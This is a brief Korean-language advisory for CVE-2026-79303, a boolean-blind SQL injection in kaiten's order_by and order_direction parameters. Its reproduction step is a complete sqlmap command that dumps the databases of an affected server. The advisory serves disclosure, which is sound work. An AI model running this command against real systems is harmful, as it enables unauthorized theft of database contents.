CVE-2026-79303

Boolean-blind SQL 인젝션

설명: 필수 데이터 검증 없이, 그리고 매개변수화된 명령문이나 저장 프로시저를 사용하지 않고 동적 SQL 문이 생성됩니다.

영향: SQLi

CVSSv3.1 벡터: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.9 Critical)

CWE: CWE-89: SQL 명령에 사용되는 특수 요소의 부적절한 중화('SQL 인젝션')

영향을 받는 구성 요소: GET 매개변수 order_by 및 order_direction

공급업체: kaiten

영향을 받는 제품

• kaiten 버전: 57.192.20 < 57.214.26

재현 단계:

1. sqlmap -u "https://[kaiten ip]/api/cards?version=2&limit=51&query=1&order_by=1&order_direction=desc&search_fields=title" --cookie="connect.sid=[value]" -p 'order_by' --technique B --level 5 --dbms postgresql --dbs --dump
2. n(쿠키를 새 쿠키와 병합하지 않음) 입력 -> C

발견자